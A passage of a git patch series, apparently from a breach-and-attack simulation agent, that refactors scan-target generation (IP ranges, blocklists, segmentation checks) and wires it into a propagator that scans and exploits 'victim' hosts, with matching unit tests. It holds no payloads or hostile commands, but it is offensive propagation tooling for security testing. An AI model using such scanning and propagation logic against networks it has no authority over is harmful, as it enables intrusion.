test_segmentation_targets(): @@ -318,7 +336,7 @@ def test_segmentation_targets(): assert len(scan_targets) == 3 for ip in [144, 145, 146]: - assert f"172.60.145.{ip}" in scan_targets + assert NetworkAddress(f"172.60.145.{ip}", None) in scan_targets def test_segmentation_clash_with_blocked(): @@ -361,7 +379,7 @@ def test_segmentation_clash_with_targets(): assert len(scan_targets) == 3 for ip in [148, 149, 150]: - assert f"172.60.145.{ip}" in scan_targets + assert NetworkAddress(f"172.60.145.{ip}", None) in scan_targets def test_segmentation_one_network(): @@ -428,7 +446,7 @@ def test_invalid_inputs(): assert len(scan_targets) == 3 for ip in [148, 149, 150]: - assert f"172.60.145.{ip}" in scan_targets + assert NetworkAddress(f"172.60.145.{ip}", None) in scan_targets def test_range_filtering(): @@ -454,7 +472,7 @@ def test_range_filtering(): "172.60.9.109 - 172.60.1.109", "172.60.9.109- 172.60.1.109", "0.0.0.0", - "localhost" + "localhost", ] invalid_ranges.extend(valid_ranges) From ec9aaf6b389339093374396ea56a6ab02c4428f4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 08:27:33 -0500 Subject: [PATCH 0216/1110] Agent: Clarify some names in scan_target_generator --- .../network/scan_target_generator.py | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index 927123d48..aaee67a0d 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -38,13 +38,13 @@ def compile_scan_target_list( def _remove_redundant_targets(targets: List[NetworkAddress]) -> List[NetworkAddress]: - target_dict = {} + reverse_dns = {} for target in targets: domain_name = target.domain ip = target.ip - if ip not in target_dict or (target_dict[ip] is None and domain_name is not None): - target_dict[ip] = domain_name - return [NetworkAddress(key, value) for (key, value) in target_dict.items()] + if ip not in reverse_dns or (reverse_dns[ip] is None and domain_name is not None): + reverse_dns[ip] = domain_name + return [NetworkAddress(key, value) for (key, value) in reverse_dns.items()] def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]: @@ -111,7 +111,7 @@ def _remove_ips_from_scan_targets( def _get_segmentation_check_targets( inaccessible_subnets: List[str], local_interfaces: List[NetworkInterface] ) -> List[NetworkAddress]: - subnets_to_scan = [] + ips_to_scan = [] local_ips = [interface.address for interface in local_interfaces] local_ips = _filter_invalid_ranges(local_ips, "Invalid local IP found: ") @@ -125,21 +125,21 @@ def _get_segmentation_check_targets( for (subnet1, subnet2) in subnet_pairs: if _is_segmentation_check_required(local_ips, subnet1, subnet2): ips = _get_ips_from_ranges_to_scan(subnet2) - subnets_to_scan.extend(ips) + ips_to_scan.extend(ips) - return subnets_to_scan + return ips_to_scan def _filter_invalid_ranges(ranges: List[str], error_msg: str) -> List[str]: - filtered = [] + valid_ranges = [] for target_range in ranges: try: NetworkRange.validate_range(target_range) except InvalidNetworkRangeError as e: logger.error(f"{error_msg} {e}") continue - filtered.append(target_range) - return filtered + valid_ranges.append(target_range) + return valid_ranges def _convert_to_range_object(subnets: List[str]) -> List[NetworkRange]: From 7c786b08831a9ccac6e24b7414d84241d66a5e36 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 08:29:45 -0500 Subject: [PATCH 0217/1110] Agent: Improve performance of _remove_ips_from_scan_targets() --- monkey/infection_monkey/network/scan_target_generator.py | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index aaee67a0d..d8f3339d7 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -99,13 +99,8 @@ def _remove_blocklisted_ips( def _remove_ips_from_scan_targets( scan_targets: List[NetworkAddress], ips_to_remove: List[str] ) -> List[NetworkAddress]: - for ip in ips_to_remove: - try: - scan_targets = [address for address in scan_targets if address.ip != ip] - except KeyError: - # We don't need to remove the ip if it's already missing from the scan_targets - pass - return scan_targets + ips_to_remove_set = set(ips_to_remove) + return [address for address in scan_targets if address.ip not in ips_to_remove_set] def _get_segmentation_check_targets( From db246d6740a6a995e66d7292eee3aba0569d6abe Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 08:33:38 -0500 Subject: [PATCH 0218/1110] UT: Fix imports in test_scan_target_generator --- .../infection_monkey/network/test_scan_target_generator.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index 41600897d..af01a7372 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -1,11 +1,12 @@ from itertools import chain import pytest -from network.scan_target_generator import NetworkAddress, _filter_invalid_ranges from common.network.network_range import InvalidNetworkRangeError from infection_monkey.network.scan_target_generator import ( + NetworkAddress, NetworkInterface, + _filter_invalid_ranges, compile_scan_target_list, ) From bfed27301a513d619cbe493181c22cbc0dc5eb17 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 08:47:29 -0500 Subject: [PATCH 0219/1110] Agent: Change `not ==` to `!=` in _remove_blocklisted_ips() --- monkey/infection_monkey/network/scan_target_generator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index d8f3339d7..3a2e77470 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -91,7 +91,7 @@ def _remove_blocklisted_ips( scan_targets: List[NetworkAddress], blocked_ips: List[str] ) -> List[NetworkAddress]: filtered_blocked_ips = _filter_invalid_ranges(blocked_ips, "Invalid blocked IP provided:") - if not len(filtered_blocked_ips) == len(blocked_ips): + if len(filtered_blocked_ips) != len(blocked_ips): raise InvalidNetworkRangeError("Received an invalid blocked IP. Aborting just in case.") return _remove_ips_from_scan_targets(scan_targets, filtered_blocked_ips) From c8469f552185e5c8bf500bddb129da84c47a7a89 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 08:56:35 -0500 Subject: [PATCH 0220/1110] Agent: Move _filter_invalid_ranges to NetworkRanges --- monkey/common/network/network_range.py | 14 +++++++- .../network/scan_target_generator.py | 26 +++++--------- .../common/network/test_network_range.py | 35 +++++++++++++++++++ .../network/test_scan_target_generator.py | 35 ------------------- 4 files changed, 57 insertions(+), 53 deletions(-) create mode 100644 monkey/tests/unit_tests/common/network/test_network_range.py diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 5b1342370..326e365ce 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -4,7 +4,7 @@ import random import socket import struct from abc import ABCMeta, abstractmethod -from typing import Tuple +from typing import List, Tuple logger = logging.getLogger(__name__) @@ -57,6 +57,18 @@ class NetworkRange(object, metaclass=ABCMeta): return CidrRange(cidr_range=address_str) return SingleIpRange(ip_address=address_str) + @staticmethod + def filter_invalid_ranges(ranges: List[str], error_msg: str) -> List[str]: + valid_ranges = [] + for target_range in ranges: + try: + NetworkRange.validate_range(target_range) + except InvalidNetworkRangeError as e: + logger.error(f"{error_msg} {e}") + continue + valid_ranges.append(target_range) + return valid_ranges + @staticmethod def validate_range(address_str: str): try: diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index 3a2e77470..734cc90c6 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -60,7 +60,7 @@ def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]: def _get_ips_from_ranges_to_scan(ranges_to_scan: List[str]) -> List[NetworkAddress]: scan_targets = [] - ranges_to_scan = _filter_invalid_ranges( + ranges_to_scan = NetworkRange.filter_invalid_ranges( ranges_to_scan, "Bad network range input for targets to scan:" ) @@ -76,7 +76,9 @@ def _get_ips_to_scan_from_local_interface( ) -> List[NetworkAddress]: ranges = [f"{interface.address}{interface.netmask}" for interface in interfaces] - ranges = _filter_invalid_ranges(ranges, "Local network interface returns an invalid IP:") + ranges = NetworkRange.filter_invalid_ranges( + ranges, "Local network interface returns an invalid IP:" + ) return _get_ips_from_ranges_to_scan(ranges) @@ -90,7 +92,9 @@ def _remove_interface_ips( def _remove_blocklisted_ips( scan_targets: List[NetworkAddress], blocked_ips: List[str] ) -> List[NetworkAddress]: - filtered_blocked_ips = _filter_invalid_ranges(blocked_ips, "Invalid blocked IP provided:") + filtered_blocked_ips = NetworkRange.filter_invalid_ranges( + blocked_ips, "Invalid blocked IP provided:" + ) if len(filtered_blocked_ips) != len(blocked_ips): raise InvalidNetworkRangeError("Received an invalid blocked IP. Aborting just in case.") return _remove_ips_from_scan_targets(scan_targets, filtered_blocked_ips) @@ -109,8 +113,8 @@ def _get_segmentation_check_targets( ips_to_scan = [] local_ips = [interface.address for interface in local_interfaces] - local_ips = _filter_invalid_ranges(local_ips, "Invalid local IP found: ") - inaccessible_subnets = _filter_invalid_ranges( + local_ips = NetworkRange.filter_invalid_ranges(local_ips, "Invalid local IP found: ") + inaccessible_subnets = NetworkRange.filter_invalid_ranges( inaccessible_subnets, "Invalid segmentation scan target: " ) @@ -125,18 +129,6 @@ def _get_segmentation_check_targets( return ips_to_scan -def _filter_invalid_ranges(ranges: List[str], error_msg: str) -> List[str]: - valid_ranges = [] - for target_range in ranges: - try: - NetworkRange.validate_range(target_range) - except InvalidNetworkRangeError as e: - logger.error(f"{error_msg} {e}") - continue - valid_ranges.append(target_range) - return valid_ranges - - def _convert_to_range_object(subnets: List[str]) -> List[NetworkRange]: return [NetworkRange.get_range_obj(subnet) for subnet in subnets] diff --git a/monkey/tests/unit_tests/common/network/test_network_range.py b/monkey/tests/unit_tests/common/network/test_network_range.py new file mode 100644 index 000000000..0abb793d1 --- /dev/null +++ b/monkey/tests/unit_tests/common/network/test_network_range.py @@ -0,0 +1,35 @@ +from common.network.network_range import NetworkRange + + +def test_range_filtering(): + invalid_ranges = [ + # Invalid IP segment + "172.60.999.109", + "172.60.-1.109", + "172.60.999.109 - 172.60.1.109", + "172.60.999.109/32", + "172.60.999.109/24", + # Invalid CIDR + "172.60.1.109/33", + "172.60.1.109/-1", + # Typos + "172.60.9.109 -t 172.60.1.109", + "172.60..9.109", + "172.60,9.109", + " 172.60 .9.109 ", + ] + + valid_ranges = [ + " 172.60.9.109 ", + "172.60.9.109 - 172.60.1.109", + "172.60.9.109- 172.60.1.109", + "0.0.0.0", + "localhost", + ] + + invalid_ranges.extend(valid_ranges) + + remaining = NetworkRange.filter_invalid_ranges(invalid_ranges, "Test error:") + for _range in remaining: + assert _range in valid_ranges + assert len(remaining) == len(valid_ranges) diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index af01a7372..4f3e49b64 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -6,7 +6,6 @@ from common.network.network_range import InvalidNetworkRangeError from infection_monkey.network.scan_target_generator import ( NetworkAddress, NetworkInterface, - _filter_invalid_ranges, compile_scan_target_list, ) @@ -450,40 +449,6 @@ def test_invalid_inputs(): assert NetworkAddress(f"172.60.145.{ip}", None) in scan_targets -def test_range_filtering(): - invalid_ranges = [ - # Invalid IP segment - "172.60.999.109", - "172.60.-1.109", - "172.60.999.109 - 172.60.1.109", - "172.60.999.109/32", - "172.60.999.109/24", - # Invalid CIDR - "172.60.1.109/33", - "172.60.1.109/-1", - # Typos - "172.60.9.109 -t 172.60.1.109", - "172.60..9.109", - "172.60,9.109", - " 172.60 .9.109 ", - ] - - valid_ranges = [ - " 172.60.9.109 ", - "172.60.9.109 - 172.60.1.109", - "172.60.9.109- 172.60.1.109", - "0.0.0.0", - "localhost", - ] - - invalid_ranges.extend(valid_ranges) - - remaining = _filter_invalid_ranges(invalid_ranges, "Test error:") - for _range in remaining: - assert _range in valid_ranges - assert len(remaining) == len(valid_ranges) - - def test_invalid_blocklisted_ip(): local_network_interfaces = [NetworkInterface("172.60.145.109", "/30")] From ed16826b879faef7af344b9d000d3a530acfefb9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 09:08:39 -0500 Subject: [PATCH 0221/1110] Agent: Sort scan targets by IP --- .../network/scan_target_generator.py | 3 ++- .../network/test_scan_target_generator.py | 15 +++++++++++++++ 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index 734cc90c6..6cec82223 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -1,5 +1,6 @@ import itertools import logging +import socket from collections import namedtuple from typing import List @@ -32,7 +33,7 @@ def compile_scan_target_list( scan_targets = _remove_interface_ips(scan_targets, local_network_interfaces) scan_targets = _remove_blocklisted_ips(scan_targets, blocklisted_ips) scan_targets = _remove_redundant_targets(scan_targets) - scan_targets.sort() + scan_targets.sort(key=lambda network_address: socket.inet_aton(network_address.ip)) return scan_targets diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index 4f3e49b64..03febe44c 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -466,3 +466,18 @@ def test_invalid_blocklisted_ip(): blocklisted_ips=blocklisted, enable_local_network_scan=False, ) + + +def test_sorted_scan_targets(): + expected_results = [f"10.1.0.{i}" for i in range(0, 255)] + expected_results.extend([f"10.2.0.{i}" for i in range(0, 255)]) + expected_results.extend([f"10.10.0.{i}" for i in range(0, 255)]) + expected_results.extend([f"10.20.0.{i}" for i in range(0, 255)]) + + scan_targets = compile_scan_target_list( + [], ["10.1.0.0/24", "10.10.0.0/24", "10.20.0.0/24", "10.2.0.0/24"], [], [], False + ) + + actual_results = [network_address.ip for network_address in scan_targets] + + assert expected_results == actual_results From e60297dff1012702d060686ce6457cf8fdbe160f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 14:36:33 -0500 Subject: [PATCH 0222/1110] UT: Fix broken mock in test_stop_if_cant_get_stop_signal_from_island --- .../master/test_automated_master.py | 22 ++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py index 378eab883..0916acda7 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -1,6 +1,8 @@ import time from unittest.mock import MagicMock +import pytest + from infection_monkey.master import AutomatedMaster from infection_monkey.master.automated_master import ( CHECK_FOR_CONFIG_COUNT, @@ -38,19 +40,29 @@ def test_stop_if_cant_get_config_from_island(monkeypatch): assert cc.get_config.call_count == CHECK_FOR_CONFIG_COUNT +@pytest.fixture +def sleep_and_return_config(automated_master_config): + # Ensure that should_agent_stop times out before get_config() returns to prevent the + # Propagator's sub-threads from hanging + get_config_sleep_time = INTERVAL * (CHECK_FOR_STOP_AGENT_COUNT + 1) + + def _inner(): + time.sleep(get_config_sleep_time) + return automated_master_config + + return _inner + + # NOTE: This test is a little bit brittle, and probably needs too much knowlegde of the internals # of AutomatedMaster. For now, it works and it runs quickly. In the future, if we find that # this test isn't valuable or it starts causing issues, we can just remove it. -def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, automated_master_config): +def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, sleep_and_return_config): cc = MagicMock() cc.should_agent_stop = MagicMock( side_effect=IslandCommunicationError("Failed to communicate with island") ) - # Ensure that should_agent_stop times out before get_config() returns to prevent the - # Propagator's sub-threads from hanging cc.get_config = MagicMock( - return_value=automated_master_config, - side_effect=lambda: time.sleep(INTERVAL * (CHECK_FOR_STOP_AGENT_COUNT + 1)), + side_effect=sleep_and_return_config, ) monkeypatch.setattr( From dc3adc9d8bd04ed969f816a88c1bbfcdfd244262 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 14:37:39 -0500 Subject: [PATCH 0223/1110] UT: Fix annoying pytest warning regarting TestAuthenticationError --- .../infection_monkey/exploit/test_powershell.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index ef3da4538..9de7f8f54 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -32,7 +32,7 @@ Config = namedtuple( ) -class TestAuthenticationError(Exception): +class AuthenticationErrorForTests(Exception): pass @@ -49,7 +49,7 @@ def powershell_exploiter(monkeypatch): DROPPER_TARGET_PATH_64, ) - monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError) + monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests) monkeypatch.setattr(powershell, "is_windows_os", lambda: True) # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but # it's necessary to avoid having to deal with the monkeyfs @@ -69,7 +69,7 @@ def test_powershell_disabled(monkeypatch, powershell_exploiter): def test_powershell_http(monkeypatch, powershell_exploiter): def allow_http(_, credentials: Credentials, auth_options: AuthOptions): if not auth_options.ssl: - raise TestAuthenticationError + raise AuthenticationErrorForTests else: raise Exception @@ -84,7 +84,7 @@ def test_powershell_http(monkeypatch, powershell_exploiter): def test_powershell_https(monkeypatch, powershell_exploiter): def allow_https(_, credentials: Credentials, auth_options: AuthOptions): if auth_options.ssl: - raise TestAuthenticationError + raise AuthenticationErrorForTests else: raise Exception @@ -98,7 +98,7 @@ def test_powershell_https(monkeypatch, powershell_exploiter): def test_no_valid_credentials(monkeypatch, powershell_exploiter): - mock_powershell_client = MagicMock(side_effect=TestAuthenticationError) + mock_powershell_client = MagicMock(side_effect=AuthenticationErrorForTests) monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) success = powershell_exploiter.exploit_host() @@ -110,7 +110,7 @@ def authenticate(mock_client): if credentials.username == "user1" and credentials.secret == "pass2": return mock_client else: - raise TestAuthenticationError("Invalid credentials") + raise AuthenticationErrorForTests("Invalid credentials") return inner From 8e0efb199340cc53d8f727318a20ba2105b8f1b6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 14:38:54 -0500 Subject: [PATCH 0224/1110] Island: Replace deprecated logging.warn() with logging.warning() --- monkey/monkey_island/cc/setup/config_setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index 6835dfc61..4069136b7 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -30,7 +30,7 @@ def _update_config_from_file(config: IslandConfigOptions, config_path: Path): config.update(config_from_file) logger.info(f"Server config updated from {config_path}") except OSError: - logger.warn(f"Server config not found in path {config_path}") + logger.warning(f"Server config not found in path {config_path}") def _load_server_config_from_file(server_config_path) -> dict: From 332649d5d1122d733166f8fcc83ddf149d13d097 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 11:07:35 -0500 Subject: [PATCH 0225/1110] Agent: Integrate scan_target_generator with AutomatedMaster --- .../master/automated_master.py | 8 +- monkey/infection_monkey/master/ip_scanner.py | 33 ++++-- monkey/infection_monkey/master/propagator.py | 32 ++++-- .../model/victim_host_factory.py | 4 +- monkey/infection_monkey/network/__init__.py | 1 + .../master/test_automated_master.py | 6 +- .../master/test_ip_scanner.py | 89 +++++++++------ .../master/test_propagator.py | 104 +++++++++++++++--- 8 files changed, 205 insertions(+), 72 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 8c95d529b..1f0410d5b 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -7,6 +7,7 @@ from infection_monkey.i_control_channel import IControlChannel, IslandCommunicat from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.model import VictimHostFactory +from infection_monkey.network import NetworkInterface from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -33,6 +34,7 @@ class AutomatedMaster(IMaster): telemetry_messenger: ITelemetryMessenger, victim_host_factory: VictimHostFactory, control_channel: IControlChannel, + local_network_interfaces: List[NetworkInterface], ): self._puppet = puppet self._telemetry_messenger = telemetry_messenger @@ -41,7 +43,11 @@ class AutomatedMaster(IMaster): ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) exploiter = Exploiter(self._puppet, NUM_EXPLOIT_THREADS) self._propagator = Propagator( - self._telemetry_messenger, ip_scanner, exploiter, victim_host_factory + self._telemetry_messenger, + ip_scanner, + exploiter, + victim_host_factory, + local_network_interfaces, ) self._stop = threading.Event() diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 9e5851e7b..0cd2b021f 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -12,14 +12,14 @@ from infection_monkey.i_puppet import ( PortScanData, PortStatus, ) +from infection_monkey.network import NetworkAddress from . import IPScanResults from .threading_utils import run_worker_threads logger = logging.getLogger() -IP = str -Callback = Callable[[IP, IPScanResults], None] +Callback = Callable[[NetworkAddress, IPScanResults], None] class IPScanner: @@ -27,22 +27,33 @@ class IPScanner: self._puppet = puppet self._num_workers = num_workers - def scan(self, ips_to_scan: List[str], options: Dict, results_callback: Callback, stop: Event): + def scan( + self, + addresses_to_scan: List[NetworkAddress], + options: Dict, + results_callback: Callback, + stop: Event, + ): # Pre-fill a Queue with all IPs to scan so that threads know they can safely exit when the # queue is empty. - ips = Queue() - for ip in ips_to_scan: - ips.put(ip) + addresses = Queue() + for address in addresses_to_scan: + addresses.put(address) - scan_ips_args = (ips, options, results_callback, stop) - run_worker_threads(target=self._scan_ips, args=scan_ips_args, num_workers=self._num_workers) + scan_ips_args = (addresses, options, results_callback, stop) + run_worker_threads( + target=self._scan_addresses, args=scan_ips_args, num_workers=self._num_workers + ) - def _scan_ips(self, ips: Queue, options: Dict, results_callback: Callback, stop: Event): + def _scan_addresses( + self, addresses: Queue, options: Dict, results_callback: Callback, stop: Event + ): logger.debug(f"Starting scan thread -- Thread ID: {threading.get_ident()}") try: while not stop.is_set(): - ip = ips.get_nowait() + address = addresses.get_nowait() + ip = address.ip logger.info(f"Scanning {ip}") icmp_timeout = options["icmp"]["timeout_ms"] / 1000 @@ -60,7 +71,7 @@ class IPScanner: ) scan_results = IPScanResults(ping_scan_data, port_scan_data, fingerprint_data) - results_callback(ip, scan_results) + results_callback(address, scan_results) logger.debug( f"Detected the stop signal, scanning thread {threading.get_ident()} exiting" diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 9d31b94b4..ca6922b37 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -1,7 +1,7 @@ import logging from queue import Queue from threading import Event -from typing import Dict +from typing import Dict, List from infection_monkey.i_puppet import ( ExploiterResultData, @@ -11,6 +11,8 @@ from infection_monkey.i_puppet import ( PortStatus, ) from infection_monkey.model import VictimHost, VictimHostFactory +from infection_monkey.network import NetworkAddress, NetworkInterface +from infection_monkey.network.scan_target_generator import compile_scan_target_list from infection_monkey.telemetry.exploit_telem import ExploitTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.scan_telem import ScanTelem @@ -28,11 +30,13 @@ class Propagator: ip_scanner: IPScanner, exploiter: Exploiter, victim_host_factory: VictimHostFactory, + local_network_interfaces: List[NetworkInterface], ): self._telemetry_messenger = telemetry_messenger self._ip_scanner = ip_scanner self._exploiter = exploiter self._victim_host_factory = victim_host_factory + self._local_network_interfaces = local_network_interfaces self._hosts_to_exploit = None def propagate(self, propagation_config: Dict, stop: Event): @@ -62,16 +66,30 @@ class Propagator: def _scan_network(self, propagation_config: Dict, stop: Event): logger.info("Starting network scan") - # TODO: Generate list of IPs to scan from propagation targets config - ips_to_scan = propagation_config["targets"]["subnet_scan_list"] - + target_config = propagation_config["targets"] scan_config = propagation_config["network_scan"] - self._ip_scanner.scan(ips_to_scan, scan_config, self._process_scan_results, stop) + + addresses_to_scan = self._compile_scan_target_list(target_config) + self._ip_scanner.scan(addresses_to_scan, scan_config, self._process_scan_results, stop) logger.info("Finished network scan") - def _process_scan_results(self, ip: str, scan_results: IPScanResults): - victim_host = self._victim_host_factory.build_victim_host(ip) + def _compile_scan_target_list(self, target_config: Dict) -> List[NetworkAddress]: + ranges_to_scan = target_config["subnet_scan_list"] + inaccessible_subnets = target_config["inaccessible_subnets"] + blocklisted_ips = target_config["blocked_ips"] + enable_local_network_scan = target_config["local_network_scan"] + + return compile_scan_target_list( + self._local_network_interfaces, + ranges_to_scan, + inaccessible_subnets, + blocklisted_ips, + enable_local_network_scan, + ) + + def _process_scan_results(self, address: NetworkAddress, scan_results: IPScanResults): + victim_host = self._victim_host_factory.build_victim_host(address.ip, address.domain) Propagator._process_ping_scan_results(victim_host, scan_results.ping_scan_data) Propagator._process_tcp_scan_results(victim_host, scan_results.port_scan_data) diff --git a/monkey/infection_monkey/model/victim_host_factory.py b/monkey/infection_monkey/model/victim_host_factory.py index e3ac8d5a7..775bb8baf 100644 --- a/monkey/infection_monkey/model/victim_host_factory.py +++ b/monkey/infection_monkey/model/victim_host_factory.py @@ -5,8 +5,8 @@ class VictimHostFactory: def __init__(self): pass - def build_victim_host(self, ip: str): - victim_host = VictimHost(ip) + def build_victim_host(self, ip: str, domain: str): + victim_host = VictimHost(ip, domain) # TODO: Reimplement the below logic from the old monkey.py """ diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index e69de29bb..f9db1b677 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -0,0 +1 @@ +from .scan_target_generator import NetworkAddress, NetworkInterface diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py index 0916acda7..d08a4465a 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -14,7 +14,7 @@ INTERVAL = 0.001 def test_terminate_without_start(): - m = AutomatedMaster(None, None, None, None) + m = AutomatedMaster(None, None, None, None, []) # Test that call to terminate does not raise exception m.terminate() @@ -34,7 +34,7 @@ def test_stop_if_cant_get_config_from_island(monkeypatch): monkeypatch.setattr( "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL ) - m = AutomatedMaster(None, None, None, cc) + m = AutomatedMaster(None, None, None, cc, []) m.start() assert cc.get_config.call_count == CHECK_FOR_CONFIG_COUNT @@ -73,7 +73,7 @@ def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, sleep_and_return_ "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL ) - m = AutomatedMaster(None, None, None, cc) + m = AutomatedMaster(None, None, None, cc, []) m.start() assert cc.should_agent_stop.call_count == CHECK_FOR_STOP_AGENT_COUNT diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index 7a25e0a07..93762e44e 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -6,6 +6,7 @@ import pytest from infection_monkey.i_puppet import FingerprintData, PortScanData, PortStatus from infection_monkey.master import IPScanner +from infection_monkey.network import NetworkAddress from infection_monkey.puppet.mock_puppet import MockPuppet WINDOWS_OS = "windows" @@ -51,20 +52,21 @@ def assert_port_status(port_scan_data, expected_open_ports: Set[int]): assert psd.status == PortStatus.CLOSED -def assert_scan_results(ip, scan_results): +def assert_scan_results(address, scan_results): ping_scan_data = scan_results.ping_scan_data port_scan_data = scan_results.port_scan_data fingerprint_data = scan_results.fingerprint_data - if ip == "10.0.0.1": - assert_scan_results_no_1(ping_scan_data, port_scan_data, fingerprint_data) - elif ip == "10.0.0.3": - assert_scan_results_no_3(ping_scan_data, port_scan_data, fingerprint_data) + if address.ip == "10.0.0.1": + assert_scan_results_no_1(address.domain, ping_scan_data, port_scan_data, fingerprint_data) + elif address.ip == "10.0.0.3": + assert_scan_results_no_3(address.domain, ping_scan_data, port_scan_data, fingerprint_data) else: - assert_scan_results_host_down(ip, ping_scan_data, port_scan_data, fingerprint_data) + assert_scan_results_host_down(address, ping_scan_data, port_scan_data, fingerprint_data) -def assert_scan_results_no_1(ping_scan_data, 